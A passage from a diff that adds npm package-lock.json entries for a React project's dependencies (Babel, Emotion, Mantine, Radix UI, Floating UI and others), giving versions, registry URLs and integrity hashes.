"https://registry.npmjs.org/@babel/generator/-/generator-7.19.3.tgz", + "integrity": "sha512-fqVZnmp1ncvZU757UzDheKZpfPgatqY59XtW2/j/18H7u76akb8xqvjw82f+i2UKd/ksYsSick/BCLQUUtJ/qQ==", + "requires": { + "@babel/types": "^7.19.3", + "@jridgewell/gen-mapping": "^0.3.2", + "jsesc": "^2.5.1" + }, + "dependencies": { + "@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + } + } + }, + "@babel/helper-annotate-as-pure": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", + "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "dev": true, + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-compilation-targets": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.19.3.tgz", + "integrity": "sha512-65ESqLGyGmLvgR0mst5AdW1FkNlj9rQsCKduzEoEPhBCDFGXvz2jW6bXFG6i0/MrV2s7hhXjjb2yAzcPuQlLwg==", + "requires": { + "@babel/compat-data": "^7.19.3", + "@babel/helper-validator-option": "^7.18.6", + "browserslist": "^4.21.3", + "semver": "^6.3.0" + } + }, + "@babel/helper-environment-visitor": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", + "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==" + }, + "@babel/helper-function-name": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.19.0.tgz", + "integrity": "sha512-WAwHBINyrpqywkUH0nTnNgI5ina5TFn85HKS0pbPDfxFfhyR/aNQEn4hGi1P1JyT//I0t4OgXUlofzWILRvS5w==", + "requires": { + "@babel/template": "^7.18.10", + "@babel/types": "^7.19.0" + } + }, + "@babel/helper-hoist-variables": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", + "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-module-imports": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", + "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-module-transforms": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz", + "integrity": "sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==", + "requires": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-simple-access": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/helper-validator-identifier": "^7.18.6", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + } + }, + "@babel/helper-plugin-utils": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz", + "integrity": "sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw==", + "dev": true + }, + "@babel/helper-simple-access": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz", + "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", + "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-string-parser": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz", + "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==" + }, + "@babel/helper-validator-identifier": { + "version": "7.19.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", + "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==" + }, + "@babel/helper-validator-option": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz", + "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==" + }, + "@babel/helpers": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.19.0.tgz", + "integrity": "sha512-DRBCKGwIEdqY3+rPJgG/dKfQy9+08rHIAJx8q2p+HSWP87s2HCrQmaAMMyMll2kIXKCW0cO1RdQskx15Xakftg==", + "requires": { + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + } + }, + "@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "requires": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.19.3.tgz", + "integrity": "sha512-pJ9xOlNWHiy9+FuFP09DEAFbAn4JskgRsVcc169w2xRBC3FRGuQEwjeIMMND9L2zc0iEhO/tGv4Zq+km+hxNpQ==" + }, + "@babel/plugin-syntax-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", + "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-transform-react-jsx": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz", + "integrity": "sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.19.0", + "@babel/plugin-syntax-jsx": "^7.18.6", + "@babel/types": "^7.19.0" + } + }, + "@babel/plugin-transform-react-jsx-development": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz", + "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==", + "dev": true, + "requires": { + "@babel/plugin-transform-react-jsx": "^7.18.6" + } + }, + "@babel/plugin-transform-react-jsx-self": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.18.6.tgz", + "integrity": "sha512-A0LQGx4+4Jv7u/tWzoJF7alZwnBDQd6cGLh9P+Ttk4dpiL+J5p7NSNv/9tlEFFJDq3kjxOavWmbm6t0Gk+A3Ig==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-transform-react-jsx-source": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.18.6.tgz", + "integrity": "sha512-utZmlASneDfdaMh0m/WausbjUjEdGrQJz0vFK93d7wD3xf5wBtX219+q6IlCNZeguIcxS2f/CvLZrlLSvSHQXw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/runtime": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.21.0.tgz", + "integrity": "sha512-xwII0//EObnq89Ji5AKYQaRYiW/nZ3llSv29d49IuxPhKbtJoLP+9QUUZ4nVragQVtaVGeZrpB+ZtG/Pdy/POw==", + "requires": { + "regenerator-runtime": "^0.13.11" + } + }, + "@babel/template": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz", + "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==", + "requires": { + "@babel/code-frame": "^7.18.6", + "@babel/parser": "^7.18.10", + "@babel/types": "^7.18.10" + } + }, + "@babel/traverse": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.19.3.tgz", + "integrity": "sha512-qh5yf6149zhq2sgIXmwjnsvmnNQC2iw70UFjp4olxucKrWd/dvlUsBI88VSLUsnMNF7/vnOiA+nk1+yLoCqROQ==", + "requires": { + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-function-name": "^7.19.0", + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/parser": "^7.19.3", + "@babel/types": "^7.19.3", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.19.3.tgz", + "integrity": "sha512-hGCaQzIY22DJlDh9CH7NOxgKkFjBk0Cw9xDO1Xmh2151ti7wiGfQ3LauXzL4HP1fmFlTX6XjpRETTpUcv7wQLw==", + "requires": { + "@babel/helper-string-parser": "^7.18.10", + "@babel/helper-validator-identifier": "^7.19.1", + "to-fast-properties": "^2.0.0" + } + }, + "@emotion/babel-plugin": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.10.6.tgz", + "integrity": "sha512-p2dAqtVrkhSa7xz1u/m9eHYdLi+en8NowrmXeF/dKtJpU8lCWli8RUAati7NcSl0afsBott48pdnANuD0wh9QQ==", + "requires": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/runtime": "^7.18.3", + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/serialize": "^1.1.1", + "babel-plugin-macros": "^3.1.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^4.0.0", + "find-root": "^1.1.0", + "source-map": "^0.5.7", + "stylis": "4.1.3" + }, + "dependencies": { + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==" + } + } + }, + "@emotion/cache": { + "version": "11.10.5", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.10.5.tgz", + "integrity": "sha512-dGYHWyzTdmK+f2+EnIGBpkz1lKc4Zbj2KHd4cX3Wi8/OWr5pKslNjc3yABKH4adRGCvSX4VDC0i04mrrq0aiRA==", + "requires": { + "@emotion/memoize": "^0.8.0", + "@emotion/sheet": "^1.2.1", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "stylis": "4.1.3" + } + }, + "@emotion/hash": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.0.tgz", + "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==" + }, + "@emotion/memoize": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.0.tgz", + "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==" + }, + "@emotion/react": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.10.6.tgz", + "integrity": "sha512-6HT8jBmcSkfzO7mc+N1L9uwvOnlcGoix8Zn7srt+9ga0MjREo6lRpuVX0kzo6Jp6oTqDhREOFsygN6Ew4fEQbw==", + "requires": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.10.6", + "@emotion/cache": "^11.10.5", + "@emotion/serialize": "^1.1.1", + "@emotion/use-insertion-effect-with-fallbacks": "^1.0.0", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "hoist-non-react-statics": "^3.3.1" + } + }, + "@emotion/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-Zl/0LFggN7+L1liljxXdsVSVlg6E/Z/olVWpfxUTxOAmi8NU7YoeWeLfi1RmnB2TATHoaWwIBRoL+FvAJiTUQA==", + "requires": { + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/unitless": "^0.8.0", + "@emotion/utils": "^1.2.0", + "csstype": "^3.0.2" + } + }, + "@emotion/sheet": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.2.1.tgz", + "integrity": "sha512-zxRBwl93sHMsOj4zs+OslQKg/uhF38MB+OMKoCrVuS0nyTkqnau+BM3WGEoOptg9Oz45T/aIGs1qbVAsEFo3nA==" + }, + "@emotion/unitless": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.0.tgz", + "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==" + }, + "@emotion/use-insertion-effect-with-fallbacks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.0.0.tgz", + "integrity": "sha512-1eEgUGmkaljiBnRMTdksDV1W4kUnmwgp7X9G8B++9GYwl1lUdqSndSriIrTJ0N7LQaoauY9JJ2yhiOYK5+NI4A==", + "requires": {} + }, + "@emotion/utils": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.0.tgz", + "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==" + }, + "@emotion/weak-memoize": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.3.0.tgz", + "integrity": "sha512-AHPmaAx+RYfZz0eYu6Gviiagpmiyw98ySSlQvCUhVGDRtDFe4DBS0x1bSjdF3gqUDYOczB+yYvBTtEylYSdRhg==" + }, + "@esbuild/android-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.15.10.tgz", + "integrity": "sha512-FNONeQPy/ox+5NBkcSbYJxoXj9GWu8gVGJTVmUyoOCKQFDTrHVKgNSzChdNt0I8Aj/iKcsDf2r9BFwv+FSNUXg==", + "dev": true, + "optional": true + }, + "@esbuild/linux-loong64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.15.10.tgz", + "integrity": "sha512-w0Ou3Z83LOYEkwaui2M8VwIp+nLi/NA60lBLMvaJ+vXVMcsARYdEzLNE7RSm4+lSg4zq4d7fAVuzk7PNQ5JFgg==", + "dev": true, + "optional": true + }, + "@floating-ui/core": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.2.2.tgz", + "integrity": "sha512-FaO9KVLFnxknZaGWGmNtjD2CVFuc0u4yeGEofoyXO2wgRA7fLtkngT6UB0vtWQWuhH3iMTZZ/Y89CMeyGfn8pA==" + }, + "@floating-ui/dom": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.2.3.tgz", + "integrity": "sha512-lK9cZUrHSJLMVAdCvDqs6Ug8gr0wmqksYiaoj/bxj2gweRQkSuhg2/V6Jswz2KiQ0RAULbqw1oQDJIMpQ5GfGA==", + "requires": { + "@floating-ui/core": "^1.2.2" + } + }, + "@floating-ui/react": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@floating-ui/react/-/react-0.19.2.tgz", + "integrity": "sha512-JyNk4A0Ezirq8FlXECvRtQOX/iBe5Ize0W/pLkrZjfHW9GUV7Xnq6zm6fyZuQzaHHqEnVizmvlA96e1/CkZv+w==", + "requires": { + "@floating-ui/react-dom": "^1.3.0", + "aria-hidden": "^1.1.3", + "tabbable": "^6.0.1" + } + }, + "@floating-ui/react-dom": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-1.3.0.tgz", + "integrity": "sha512-htwHm67Ji5E/pROEAr7f8IKFShuiCKHwUC/UY4vC3I5jiSvGFAYnSYiZO5MlGmads+QqvUkR9ANHEguGrDv72g==", + "requires": { + "@floating-ui/dom": "^1.2.1" + } + }, + "@jridgewell/gen-mapping": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", + "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", + "requires": { + "@jridgewell/set-array": "^1.0.0", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==" + }, + "@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==" + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + }, + "@jridgewell/trace-mapping": { + "version": "0.3.16", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.16.tgz", + "integrity": "sha512-LCQ+NeThyJ4k1W2d+vIKdxuSt9R3pQSZ4P92m7EakaYuXcVWbHuT5bjNcqLd4Rdgi6xYWYDvBJZJLZSLanjDcA==", + "requires": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "@mantine/core": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/core/-/core-6.0.0.tgz", + "integrity": "sha512-ik2NUAAn9fYcqmOAluGtI9R73ijrr450dZDA+MezKq/dvpUU/Fhl9yXnGoCxxZ5XF6y4i6q07318rdrVturc9w==", + "requires": { + "@floating-ui/react": "^0.19.1", + "@mantine/styles": "6.0.0", + "@mantine/utils": "6.0.0", + "@radix-ui/react-scroll-area": "1.0.2", + "react-remove-scroll": "^2.5.5", + "react-textarea-autosize": "8.3.4" + } + }, + "@mantine/hooks": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/hooks/-/hooks-6.0.0.tgz", + "integrity": "sha512-boszkajLaA4qvd/ebDhqZBbMuUXlvJv8EM0jTaXz09IaGPachBKG5WKpXEcwWh2qmrUQL6pyhIbLMgPnvwS0QQ==", + "requires": {} + }, + "@mantine/styles": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/styles/-/styles-6.0.0.tgz", + "integrity": "sha512-TyqFvdKIhbhnGYBDEJ9QIPit4NzyzQ3ivDfdzeqzd/cJBxFPhxB0sEFU8RppXpXBUlbhLFhulYFEVl2pP6zaeg==", + "requires": { + "clsx": "1.1.1", + "csstype": "3.0.9" + }, + "dependencies": { + "csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + } + } + }, + "@mantine/utils": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/utils/-/utils-6.0.0.tgz", + "integrity": "sha512-1AalSgzINKP4uv1DBTkJe/jh6yGwC2xaCQE4Atlr2bSHiLezYFMy/deGQ8XLFFv2AL0sjvewLW4ernlFujGMZg==", + "requires": {} + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "requires": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + } + }, + "@radix-ui/number": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.0.0.tgz", + "integrity": "sha512-Ofwh/1HX69ZfJRiRBMTy7rgjAzHmwe4kW9C9Y99HTRUcYLUuVT0KESFj15rPjRgKJs20GPq8Bm5aEDJ8DuA3vA==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/primitive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.0.0.tgz", + "integrity": "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-compose-refs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.0.0.tgz", + "integrity": "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-context": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.0.0.tgz", + "integrity": "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-direction": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.0.0.tgz", + "integrity": "sha512-2HV05lGUgYcA6xgLQ4BKPDmtL+QbIZYH5fCOTAOOcJ5O0QbWS3i9lKaurLzliYUDhORI2Qr3pyjhJh44lKA3rQ==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-presence": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.0.0.tgz", + "integrity": "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + } + }, + "@radix-ui/react-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-1.0.1.tgz", + "integrity": "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-slot": "1.0.1" + } + }, + "@radix-ui/react-scroll-area": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.0.2.tgz", + "integrity": "sha512-k8VseTxI26kcKJaX0HPwkvlNBPTs56JRdYzcZ/vzrNUkDlvXBy8sMc7WvCpYzZkHgb+hd72VW9MqkqecGtuNgg==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/number": "1.0.0", + "@radix-ui/primitive": "1.0.0", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-context": "1.0.0", + "@radix-ui/react-direction": "1.0.0", + "@radix-ui/react-presence": "1.0.0", + "@radix-ui/react-primitive": "1.0.1", + "@radix-ui/react-use-callback-ref": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + } + }, + "@radix-ui/react-slot": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.0.1.tgz", + "integrity": "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0" + } + }, + "@radix-ui/react-use-callback-ref": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.0.0.tgz", + "integrity": "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-use-layout-effect": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.0.0.tgz", + "integrity": "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@rollup/plugin-babel": { + "version": "6.0.3", + "resolved": 